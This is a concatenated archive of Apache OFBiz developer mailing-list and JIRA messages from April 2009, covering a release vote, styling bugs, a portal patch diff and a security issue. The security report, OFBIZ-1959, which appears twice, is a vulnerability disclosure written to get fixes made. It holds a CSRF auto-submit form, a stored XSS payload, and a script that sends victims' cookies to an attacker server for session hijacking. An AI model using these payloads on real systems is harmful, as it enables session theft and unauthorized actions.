there is a planned press release coordinated with the Apache Software Foundation Public Relations Committee (that's a mouthful! no wonder we use acronyms like: ASF PRC) for tomorrow morning (Wed 15 April). That said, the target date/time for the release branch is later tonight (and when I say tonight I mean according to USA time, just to clarify). To follow the date pattern we have discussed and make it clearly a date I'm thinking of the actual name for the branch directory to be release200904 (and please feel free to comment on that if you think something else is better). However, that I will only do that IFF we have a positive vote for the release, hence this message! Please vote: [+1] Create the release branch tonight, April 14th (it will be April 15th for GMT-0) [+0] Abstain [-1] Do not create the release branch tonight Please remember that everyone is free to (and encouraged to!) vote, but only the PMC votes are binding. Thanks to everyone who has made this possible with amazing contributions over the last 2 years, and a heightened activity in recent weeks and months to make this a spectacular release. -David
[jira] Commented: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700094#action_12700094 ] Jacques Le Roux commented on OFBIZ-2312: Issue 1 : On Windows, it's ok with Safari, Chrome and IE8 (with an error message see Issue 12) but not with FF3 and Opera. It's (almost OK with Opera, less with FF3, so I guess making the border a bit more wide should solve this issue Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go I wondered how to close (sub-)issues here. I thought about removing comments but editing the original comment and using -understrike- with a notice should be far better. You get -understrike- using \-understrike\- -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Closed: (OFBIZ-797) Better EmailServices.sendMail messaging
[ https://issues.apache.org/jira/browse/OFBIZ-797?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Marco Risaliti closed OFBIZ-797. Resolution: Fixed Thanks to Andrew Zeneski it has been recently implemented into rev.765476. Better EmailServices.sendMail messaging --- Key: OFBIZ-797 URL: https://issues.apache.org/jira/browse/OFBIZ-797 Project: OFBiz Issue Type: Improvement Components: framework Affects Versions: SVN trunk Reporter: Chris Howe Priority: Minor Fix For: SVN trunk EmailServices.sendMail does a lot of stuff between lines 168 and 237. I propose that this try/catch be broken up a bit or handle specific exceptions appropriately instead of handling just a generic exception. The one that I'm personally running into is a ConnectException. Everything gets rescheduled correctly and it tries again later and succeeds, but because sendMail runs sync during order processing it spits out an ugly error message to the customer. If I could get some advice, I'll attach a patch. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Updated: (OFBIZ-2314) size of the column in a portal
[ https://issues.apache.org/jira/browse/OFBIZ-2314?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Erwan de FERRIERES updated OFBIZ-2314: -- Attachment: portal_width.patch size of the column in a portal -- Key: OFBIZ-2314 URL: https://issues.apache.org/jira/browse/OFBIZ-2314 Project: OFBiz Issue Type: Bug Components: ALL COMPONENTS Affects Versions: Release Branch 9.04, SVN trunk Reporter: Erwan de FERRIERES Fix For: Release Branch 9.04, SVN trunk Attachments: portal_width.patch when using the https://localhost:8443/example/control/updatePortalPageColumn page, the columns are not using the percentage defined. This patch will correct the problem, this was a misuse of uiLabel instead of the variable name. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
Enable deployment on Glassfish server - need inputs
Hi Experts, I am in the process of migrating application server templates to make the deployment of ofbiz possible on Glassfish server (https://glassfish.dev.java.net). Looking at the existing JBoss templates, it seems to me that most of the data can be re-used. Can someone tell me on how the typical deployment preparation for an unsupported server goes like ? Oh, by the way, once the deployment is done, I would like to commit the new template files to the repository to make them available for anyone who wants to deploy ofbiz on Glassfish server. Can I request commit access please ? Many thanks for your inputs. Vadiraj.
[jira] Issue Comment Edited: (OFBIZ-2290) Danish translations
[ https://issues.apache.org/jira/browse/OFBIZ-2290?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12698729#action_12698729 ] André Herbst edited comment on OFBIZ-2290 at 4/17/09 3:16 AM: -- The following dictionary will be used as a base for the Danish translations: http://docs.ofbiz.org/x/Th0 was (Author: aherbst): The following dictionary wil be used as a base for the translations: http://docs.ofbiz.org/x/Th0 Danish translations --- Key: OFBIZ-2290 URL: https://issues.apache.org/jira/browse/OFBIZ-2290 Project: OFBiz Issue Type: Improvement Components: ALL COMPONENTS Affects Versions: SVN trunk Reporter: André Herbst Priority: Trivial Fix For: SVN trunk -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Closed: (OFBIZ-2314) size of the column in a portal
[ https://issues.apache.org/jira/browse/OFBIZ-2314?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Hans Bakker closed OFBIZ-2314. -- Resolution: Fixed thank you for reporting and providing the patch: Committed revision 765933. size of the column in a portal -- Key: OFBIZ-2314 URL: https://issues.apache.org/jira/browse/OFBIZ-2314 Project: OFBiz Issue Type: Bug Components: ALL COMPONENTS Affects Versions: Release Branch 9.04, SVN trunk Reporter: Erwan de FERRIERES Fix For: Release Branch 9.04, SVN trunk Attachments: portal_width.patch when using the https://localhost:8443/example/control/updatePortalPageColumn page, the columns are not using the percentage defined. This patch will correct the problem, this was a misuse of uiLabel instead of the variable name. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
Re: svn commit: r765933 - in /ofbiz/trunk/framework/common/webcommon/portal: editPortalPage.ftl showPortalPage.ftl
Hello Hans,
It helps, if we provide few details in Log instead of including only Jira
issue number. (Best Practice)
If you are agree on my comment then we are good, if not then you can safely
discard my comment.
Thanks !
--
Ashish
On Fri, Apr 17, 2009 at 3:50 PM, hans...@apache.org wrote:
Author: hansbak
Date: Fri Apr 17 10:20:28 2009
New Revision: 765933
URL: http://svn.apache.org/viewvc?rev=765933view=rev
Log:
OFBIZ-2314
Modified:
ofbiz/trunk/framework/common/webcommon/portal/editPortalPage.ftl
ofbiz/trunk/framework/common/webcommon/portal/showPortalPage.ftl
Modified: ofbiz/trunk/framework/common/webcommon/portal/editPortalPage.ftl
URL:
http://svn.apache.org/viewvc/ofbiz/trunk/framework/common/webcommon/portal/editPortalPage.ftl?rev=765933r1=765932r2=765933view=diff
==
--- ofbiz/trunk/framework/common/webcommon/portal/editPortalPage.ftl
(original)
+++ ofbiz/trunk/framework/common/webcommon/portal/editPortalPage.ftl Fri
Apr 17 10:20:28 2009
@@ -20,7 +20,7 @@
table width=100%
tr
#list portalPageColumnList?if_exists as portalPageColumn
- td class=manage-portal-column-toolbar style=vertical-align: top;
#if portalPageColumn.columnWidthPercentage?has_content
${uiLabelMap.CommonWidth}:${portalPageColumn.columnWidthPercentage}%;/#if
+ td class=manage-portal-column-toolbar style=vertical-align: top;
#if portalPageColumn.columnWidthPercentage?has_content
width:${portalPageColumn.columnWidthPercentage}%;/#if
hr/
ul
li id=delete-columnform method=post
action=@ofbizUrldeletePortalPageColumn/@ofbizUrl
onSubmit=javascript:submitFormDisableSubmits(this)
name=delPortalPageId_${portalPageColumn_index}input name=portalPageId
value=${portalPage.portalPageId} type=hidden/input name=columnSeqId
value=${portalPageColumn.columnSeqId} type=hidden/input
name=parentPortalPageId value=${parameters.parentPortalPageId}
type=hidden//forma class=buttontext
href=javascript:document.delPortalPageId_${portalPageColumn_index}.submit()${uiLabelMap.CommonRemove}/a/li
@@ -47,7 +47,7 @@
/tr
tr
#list portalPageColumnList?if_exists as portalPageColumn
- td style=vertical-align: top; #if
portalPageColumn.columnWidthPercentage?has_content
${uiLabelMap.CommonWidth}:${portalPageColumn.columnWidthPercentage}%;/#if
+ td style=vertical-align: top; #if
portalPageColumn.columnWidthPercentage?has_content
width:${portalPageColumn.columnWidthPercentage}%;/#if
#assign firstInColumn = true/
#list portalPagePortletViewList as portlet
#if (!portlet.columnSeqId?has_content portalPageColumn_index ==
0) || (portlet.columnSeqId?if_exists == portalPageColumn.columnSeqId)
Modified: ofbiz/trunk/framework/common/webcommon/portal/showPortalPage.ftl
URL:
http://svn.apache.org/viewvc/ofbiz/trunk/framework/common/webcommon/portal/showPortalPage.ftl?rev=765933r1=765932r2=765933view=diff
==
--- ofbiz/trunk/framework/common/webcommon/portal/showPortalPage.ftl
(original)
+++ ofbiz/trunk/framework/common/webcommon/portal/showPortalPage.ftl Fri
Apr 17 10:20:28 2009
@@ -21,7 +21,7 @@
table width=100%
tr
#list portalPageColumns?if_exists as portalPageColumn
- td style=vertical-align: top; #if
portalPageColumn.columnWidthPercentage?has_content
${uiLabelMap.CommonWidth}:${portalPageColumn.columnWidthPercentage}%;/#if
+ td style=vertical-align: top; #if
portalPageColumn.columnWidthPercentage?has_content
width:${portalPageColumn.columnWidthPercentage}%;/#if
#assign firstInColumn = true/
#list portalPagePortlets as portlet
#if (!portlet.columnSeqId?has_content portalPageColumn_index ==
0) || (portlet.columnSeqId?if_exists == portalPageColumn.columnSeqId)
@@ -45,4 +45,4 @@
/table
#else/
h2No portal page data found. You may not have the necessary seed or
other data for it./h2
-/#if
\ No newline at end of file
+/#if
[jira] Updated: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Michele Orru updated OFBIZ-1959:
Hi developers.
As asked by Jaques a few days ago, I did a pen test on the latest ofbiz trunk
and I can see that XSS has been well mitigated...
will test for XSRF asap. Lack of free time right now :(
Good work David Jaques
All the best
Michele
Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
mitigation
Key: OFBIZ-1959
URL: https://issues.apache.org/jira/browse/OFBIZ-1959
Project: OFBiz
Issue Type: Bug
Components: ALL COMPONENTS
Affects Versions: Release Branch 9.04, SVN trunk
Reporter: Michele Orru
Priority: Critical
Fix For: Release Branch 9.04, SVN trunk
+++|||Discovered security
issues|||+
1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
requests
2.: reflected/stored XSS in search, ProductId/Product Internal name and
so on
3.: Session Hijacking
+++|||Exploitation|||+
1.: As can be verified with your favorite proxy tool (we use Burp), POST
request
parameters are never fortified to prevent XSRF: no random token protection
can be seen.
For those who don't know what a XSRF is: briefly it is a request that me, the
attacker, force you (the victim)
to executes.
- In GET requests it will be a link like
http://x.x.x.x/account/doTransfer?from=666to=667, where 666 is
a potential victim account and 667 the attacker one.
- In POST requests it will be an auto-submit form or a XMLHttpRequest
(if we would like to be more sophisticated).
I can force a victim to execute such a request in various methods, whose
description is out from the scope of this ISSUE:
malicious mail link, link in chat programs, malicious pages, man in the
middle attacks, malicious Flash/Applets/ActiveX, and so on.
The quick-and dirty code to make the XSRF attack looks as the following
innocuous one:
form method=POST id=xsrf name=xsrf
action=https://127.0.0.1:8443/catalog/control/createProduct;
input type=hidden name=isCreate value=true
input type=hidden name=productId value=hack02
input type=hidden name=productTypeId value=DIGITAL_GOOD
input type=hidden name=internalName value=hack02
/form
scriptdocument.xsrf.submit(); /script
Of course the product-creation mechanism is not finished (we need price,
content and ProductName),
but is just to let you understand.
When this JS code will be present in a malicious page (opened by a new tab of
the same browser - not Chrome ahah),
his content will be automatically executed and the POST request will be sent
to the application: the product with Id=hack02
will be persisted inside the DB. Of course a valid party must be logged in
the catalog module, in a way
that the global JSESSIONID cookie value will be the same in every tab of the
browser.
Clearly we can do more than this...
2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
stored,
exploit them is quite easy: we will exploited only stored ones.
We can for instance replace the value of internalName (that even if it is a
needed
parameter is quite un-useful and so prone to store our malicious code) with
something
like:
input type=hidden name=internalName
value=scriptalert(document.cookie)/script
The malicious code will display every cookie information in a pop-up, that
only the victim
will see: obviously we don't want this.
3.: We can then create a little cookie-grabber servlet that listen for GET
request from
our victims, extract the useful parameters and store them in a file or DB, in
a way
that wen can hijack the session of the admin/manager.
The internalName value is prone to store our malicious code also because his
maxlength
is 255 characters: this gives us a great advantage when creating a complex
injection code,
if we don't want to inject a link to the malicious script like
img src=http://x.x.x.x/malicious.js;
The malicious code will look as the following one:
script
var
str=http://ourHackServer/CookieWebServlet?cookie=+document.cookie+url=+document.URL;
if(document.cookie.indexOf(done)0)\{
document.cookie=done=true;
document.location.replace(str);
}
/script
Of course the code can be a lot shorter, and the already-exploited-check
can be removed.
After we have a
[jira] Commented: (OFBIZ-2298) Issue with the new smoothfeather look in OFBiz documentation (Confluence)
[ https://issues.apache.org/jira/browse/OFBIZ-2298?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700123#action_12700123 ] Jacques Le Roux commented on OFBIZ-2298: The issue on tables also apply toPDF files (from a personnal message received from Alain Ivars. Alain has created [a site - mostly in French for now - to compare open source ERPs|http://www.choiceerp.org/] Issue with the new smoothfeather look in OFBiz documentation (Confluence) - Key: OFBIZ-2298 URL: https://issues.apache.org/jira/browse/OFBIZ-2298 Project: OFBiz Issue Type: Improvement Environment: NA Reporter: Jacques Le Roux The styles associate with * and ** are not rendering bullets now. Could it be possible to differentiate simple indentation with bullet (numbering is working well) ? -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700137#action_12700137
]
Jacques Le Roux commented on OFBIZ-1959:
Thanks for you help Michele!
Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
mitigation
Key: OFBIZ-1959
URL: https://issues.apache.org/jira/browse/OFBIZ-1959
Project: OFBiz
Issue Type: Bug
Components: ALL COMPONENTS
Affects Versions: Release Branch 9.04, SVN trunk
Reporter: Michele Orru
Priority: Critical
Fix For: Release Branch 9.04, SVN trunk
+++|||Discovered security
issues|||+
1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
requests
2.: reflected/stored XSS in search, ProductId/Product Internal name and
so on
3.: Session Hijacking
+++|||Exploitation|||+
1.: As can be verified with your favorite proxy tool (we use Burp), POST
request
parameters are never fortified to prevent XSRF: no random token protection
can be seen.
For those who don't know what a XSRF is: briefly it is a request that me, the
attacker, force you (the victim)
to executes.
- In GET requests it will be a link like
http://x.x.x.x/account/doTransfer?from=666to=667, where 666 is
a potential victim account and 667 the attacker one.
- In POST requests it will be an auto-submit form or a XMLHttpRequest
(if we would like to be more sophisticated).
I can force a victim to execute such a request in various methods, whose
description is out from the scope of this ISSUE:
malicious mail link, link in chat programs, malicious pages, man in the
middle attacks, malicious Flash/Applets/ActiveX, and so on.
The quick-and dirty code to make the XSRF attack looks as the following
innocuous one:
form method=POST id=xsrf name=xsrf
action=https://127.0.0.1:8443/catalog/control/createProduct;
input type=hidden name=isCreate value=true
input type=hidden name=productId value=hack02
input type=hidden name=productTypeId value=DIGITAL_GOOD
input type=hidden name=internalName value=hack02
/form
scriptdocument.xsrf.submit(); /script
Of course the product-creation mechanism is not finished (we need price,
content and ProductName),
but is just to let you understand.
When this JS code will be present in a malicious page (opened by a new tab of
the same browser - not Chrome ahah),
his content will be automatically executed and the POST request will be sent
to the application: the product with Id=hack02
will be persisted inside the DB. Of course a valid party must be logged in
the catalog module, in a way
that the global JSESSIONID cookie value will be the same in every tab of the
browser.
Clearly we can do more than this...
2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
stored,
exploit them is quite easy: we will exploited only stored ones.
We can for instance replace the value of internalName (that even if it is a
needed
parameter is quite un-useful and so prone to store our malicious code) with
something
like:
input type=hidden name=internalName
value=scriptalert(document.cookie)/script
The malicious code will display every cookie information in a pop-up, that
only the victim
will see: obviously we don't want this.
3.: We can then create a little cookie-grabber servlet that listen for GET
request from
our victims, extract the useful parameters and store them in a file or DB, in
a way
that wen can hijack the session of the admin/manager.
The internalName value is prone to store our malicious code also because his
maxlength
is 255 characters: this gives us a great advantage when creating a complex
injection code,
if we don't want to inject a link to the malicious script like
img src=http://x.x.x.x/malicious.js;
The malicious code will look as the following one:
script
var
str=http://ourHackServer/CookieWebServlet?cookie=+document.cookie+url=+document.URL;
if(document.cookie.indexOf(done)0)\{
document.cookie=done=true;
document.location.replace(str);
}
/script
Of course the code can be a lot shorter, and the already-exploited-check
can be removed.
After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL
(remember document.URL) that will be an
authentication-required resource, the login page will ask us
[jira] Commented: (OFBIZ-2298) Issue with the new smoothfeather look in OFBiz documentation (Confluence)
[ https://issues.apache.org/jira/browse/OFBIZ-2298?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700140#action_12700140 ] Jacques Le Roux commented on OFBIZ-2298: An example for the table issue http://docs.ofbiz.org/display/OFBIZ/Apache+OFBiz+User+List Issue with the new smoothfeather look in OFBiz documentation (Confluence) - Key: OFBIZ-2298 URL: https://issues.apache.org/jira/browse/OFBIZ-2298 Project: OFBiz Issue Type: Improvement Environment: NA Reporter: Jacques Le Roux The styles associate with * and ** are not rendering bullets now. Could it be possible to differentiate simple indentation with bullet (numbering is working well) ? -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2297) Misc improvements on Payment Gateway Config
[ https://issues.apache.org/jira/browse/OFBIZ-2297?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700145#action_12700145 ] Ashish Vijaywargiya commented on OFBIZ-2297: Hello Marco, Thanks for working on this. I have reviewed your patch and it looks almost good. One change that I would like to see before committing it to trunk. Instead of EditGatewayConfig we should use EditPaymentGatewayConfig. And same applies to other places (request, service definition implementation for other) This helps to easily identify the name of entity if we exclude prefix that we use in general. For ex : Update, Edit, Create, Delete etc. Let's see what other has to say on this. If others are fine then you can go ahead and commit the code. Thanks ! -- Ashish Vijaywargiya Misc improvements on Payment Gateway Config --- Key: OFBIZ-2297 URL: https://issues.apache.org/jira/browse/OFBIZ-2297 Project: OFBiz Issue Type: Improvement Components: accounting Reporter: Marco Risaliti Assignee: Marco Risaliti Priority: Minor Attachments: MiscImprPaymentGateway.patch 1) encrypt passwords. 2) service names changed. 3) request map entries changed. 4) now the Payment Gateway Config menu is visible only to user having PAYPROC_ADMIN permission. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
Re: svn commit: r765933 - in /ofbiz/trunk/framework/common/webcommon/portal: editPortalPage.ftl showPortalPage.ftl
BTW I have backported to R9.04 at r765958. I got some weird things with 'svn:mergeinfo' but this does not seems to hurt (will see
later in case)
Jacques
From: Ashish Vijaywargiya vijaywargiya.ash...@gmail.com
Hello Hans,
It helps, if we provide few details in Log instead of including only Jira
issue number. (Best Practice)
If you are agree on my comment then we are good, if not then you can safely
discard my comment.
Thanks !
--
Ashish
On Fri, Apr 17, 2009 at 3:50 PM, hans...@apache.org wrote:
Author: hansbak
Date: Fri Apr 17 10:20:28 2009
New Revision: 765933
URL: http://svn.apache.org/viewvc?rev=765933view=rev
Log:
OFBIZ-2314
Modified:
ofbiz/trunk/framework/common/webcommon/portal/editPortalPage.ftl
ofbiz/trunk/framework/common/webcommon/portal/showPortalPage.ftl
Modified: ofbiz/trunk/framework/common/webcommon/portal/editPortalPage.ftl
URL:
http://svn.apache.org/viewvc/ofbiz/trunk/framework/common/webcommon/portal/editPortalPage.ftl?rev=765933r1=765932r2=765933view=diff
==
--- ofbiz/trunk/framework/common/webcommon/portal/editPortalPage.ftl
(original)
+++ ofbiz/trunk/framework/common/webcommon/portal/editPortalPage.ftl Fri
Apr 17 10:20:28 2009
@@ -20,7 +20,7 @@
table width=100%
tr
#list portalPageColumnList?if_exists as portalPageColumn
- td class=manage-portal-column-toolbar style=vertical-align: top;
#if portalPageColumn.columnWidthPercentage?has_content
${uiLabelMap.CommonWidth}:${portalPageColumn.columnWidthPercentage}%;/#if
+ td class=manage-portal-column-toolbar style=vertical-align: top;
#if portalPageColumn.columnWidthPercentage?has_content
width:${portalPageColumn.columnWidthPercentage}%;/#if
hr/
ul
li id=delete-columnform method=post
action=@ofbizUrldeletePortalPageColumn/@ofbizUrl
onSubmit=javascript:submitFormDisableSubmits(this)
name=delPortalPageId_${portalPageColumn_index}input name=portalPageId
value=${portalPage.portalPageId} type=hidden/input name=columnSeqId
value=${portalPageColumn.columnSeqId} type=hidden/input
name=parentPortalPageId value=${parameters.parentPortalPageId}
type=hidden//forma class=buttontext
href=javascript:document.delPortalPageId_${portalPageColumn_index}.submit()${uiLabelMap.CommonRemove}/a/li
@@ -47,7 +47,7 @@
/tr
tr
#list portalPageColumnList?if_exists as portalPageColumn
- td style=vertical-align: top; #if
portalPageColumn.columnWidthPercentage?has_content
${uiLabelMap.CommonWidth}:${portalPageColumn.columnWidthPercentage}%;/#if
+ td style=vertical-align: top; #if
portalPageColumn.columnWidthPercentage?has_content
width:${portalPageColumn.columnWidthPercentage}%;/#if
#assign firstInColumn = true/
#list portalPagePortletViewList as portlet
#if (!portlet.columnSeqId?has_content portalPageColumn_index ==
0) || (portlet.columnSeqId?if_exists == portalPageColumn.columnSeqId)
Modified: ofbiz/trunk/framework/common/webcommon/portal/showPortalPage.ftl
URL:
http://svn.apache.org/viewvc/ofbiz/trunk/framework/common/webcommon/portal/showPortalPage.ftl?rev=765933r1=765932r2=765933view=diff
==
--- ofbiz/trunk/framework/common/webcommon/portal/showPortalPage.ftl
(original)
+++ ofbiz/trunk/framework/common/webcommon/portal/showPortalPage.ftl Fri
Apr 17 10:20:28 2009
@@ -21,7 +21,7 @@
table width=100%
tr
#list portalPageColumns?if_exists as portalPageColumn
- td style=vertical-align: top; #if
portalPageColumn.columnWidthPercentage?has_content
${uiLabelMap.CommonWidth}:${portalPageColumn.columnWidthPercentage}%;/#if
+ td style=vertical-align: top; #if
portalPageColumn.columnWidthPercentage?has_content
width:${portalPageColumn.columnWidthPercentage}%;/#if
#assign firstInColumn = true/
#list portalPagePortlets as portlet
#if (!portlet.columnSeqId?has_content portalPageColumn_index ==
0) || (portlet.columnSeqId?if_exists == portalPageColumn.columnSeqId)
@@ -45,4 +45,4 @@
/table
#else/
h2No portal page data found. You may not have the necessary seed or
other data for it./h2
-/#if
\ No newline at end of file
+/#if
[jira] Commented: (OFBIZ-2298) Issue with the new smoothfeather look in OFBiz documentation (Confluence)
[ https://issues.apache.org/jira/browse/OFBIZ-2298?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700142#action_12700142 ] Jacques Le Roux commented on OFBIZ-2298: Not sure it's due to styling : the PDF icon (on top) is not available under IE 8 Issue with the new smoothfeather look in OFBiz documentation (Confluence) - Key: OFBIZ-2298 URL: https://issues.apache.org/jira/browse/OFBIZ-2298 Project: OFBiz Issue Type: Improvement Environment: NA Reporter: Jacques Le Roux The styles associate with * and ** are not rendering bullets now. Could it be possible to differentiate simple indentation with bullet (numbering is working well) ? -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Created: (OFBIZ-2314) size of the column in a portal
size of the column in a portal -- Key: OFBIZ-2314 URL: https://issues.apache.org/jira/browse/OFBIZ-2314 Project: OFBiz Issue Type: Bug Components: ALL COMPONENTS Affects Versions: Release Branch 9.04, SVN trunk Reporter: Erwan de FERRIERES Fix For: Release Branch 9.04, SVN trunk when using the https://localhost:8443/example/control/updatePortalPageColumn page, the columns are not using the percentage defined. This patch will correct the problem, this was a misuse of uiLabel instead of the variable name. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
Re: [VOTE][RESULT] Create Release Branch 2009.04
Thanks David for creating the branch release. Thanks to everybody who is involved directly / indirectly in the project ! -- Ashish Vijaywargiya On Fri, Apr 17, 2009 at 3:10 PM, Jacques Le Roux jacques.le.r...@les7arts.com wrote: Yes, thank you David, and thank you also to all the people that made this new step for OFBiz possible! Jacques From: Adrian Crum adrian.c...@yahoo.com David, Thank you so much for your work on this! Combined with the forthcoming press release, I believe OFBiz will be entering a new era. -Adrian
[jira] Commented: (OFBIZ-2312) Styling flaws in smoothfeather
[
https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700100#action_12700100
]
Jacques Le Roux commented on OFBIZ-2312:
Issue 1 (login screen border not enough wide)
I tried to put 400 instead of 350 at
.login-screenlet{
in login.css
But it does not work (do nothing). Increasing the height works, gave up :(
Styling flaws in smoothfeather
--
Key: OFBIZ-2312
URL: https://issues.apache.org/jira/browse/OFBIZ-2312
Project: OFBiz
Issue Type: Sub-task
Affects Versions: SVN trunk
Environment: XP FF3
Reporter: Jacques Le Roux
Fix For: SVN trunk
I was to create an issue for each styling flaws in smoothfeather, but it's
far too mcuh work. So I have created only one issue to list what we find.
We can create a numbered comment for each issue to separate them and refer
easily to them whe fixed. Here we go
I wondered how to close (sub-)issues here. I thought about removing
comments but editing the original comment and using -understrike- with a
notice should be far better. You get -understrike- using \-understrike\-
If someone feels that the sub-issues here should be splitted in standard
sub-tasks of OFBIZ-2309, please feel free to do so
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Updated: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacques Le Roux updated OFBIZ-2312: --- Description: I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go I wondered how to close (sub-)issues here. I thought about removing comments but editing the original comment and using -understrike- with a notice should be far better. You get -understrike- using \-understrike\- If someone feels that the sub-issues here should be splitted in standard sub-tasks of OFBIZ-2309 (or even better of the current issue), please feel free to do so was: I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go I wondered how to close (sub-)issues here. I thought about removing comments but editing the original comment and using -understrike- with a notice should be far better. You get -understrike- using \-understrike\- If someone feels that the sub-issues here should be splitted in standard sub-tasks of OFBIZ-2309, please feel free to do so Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go I wondered how to close (sub-)issues here. I thought about removing comments but editing the original comment and using -understrike- with a notice should be far better. You get -understrike- using \-understrike\- If someone feels that the sub-issues here should be splitted in standard sub-tasks of OFBIZ-2309 (or even better of the current issue), please feel free to do so -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700096#action_12700096 ] Jacques Le Roux commented on OFBIZ-2312: Issue 12 With IE8 (and I suppose older versions) you get this error message Message : Cet objet ne gère pas cette propriété ou cette méthode (This object does not manage this property or this method) Ligne : 236 Caractère : 2 Code : 0 URI : https://localhost:18443/smoothfeather/js/global.js Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go I wondered how to close (sub-)issues here. I thought about removing comments but editing the original comment and using -understrike- with a notice should be far better. You get -understrike- using \-understrike\- -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2297) Misc improvements on Payment Gateway Config
[ https://issues.apache.org/jira/browse/OFBIZ-2297?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700151#action_12700151 ] Jacques Le Roux commented on OFBIZ-2297: I already said on del ML that I agree with Ashish. I'm for conventions. They often prove useful (S/R with regex is a good example) not using them don't Misc improvements on Payment Gateway Config --- Key: OFBIZ-2297 URL: https://issues.apache.org/jira/browse/OFBIZ-2297 Project: OFBiz Issue Type: Improvement Components: accounting Reporter: Marco Risaliti Assignee: Marco Risaliti Priority: Minor Attachments: MiscImprPaymentGateway.patch 1) encrypt passwords. 2) service names changed. 3) request map entries changed. 4) now the Payment Gateway Config menu is visible only to user having PAYPROC_ADMIN permission. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
Re: lack of admin user during install
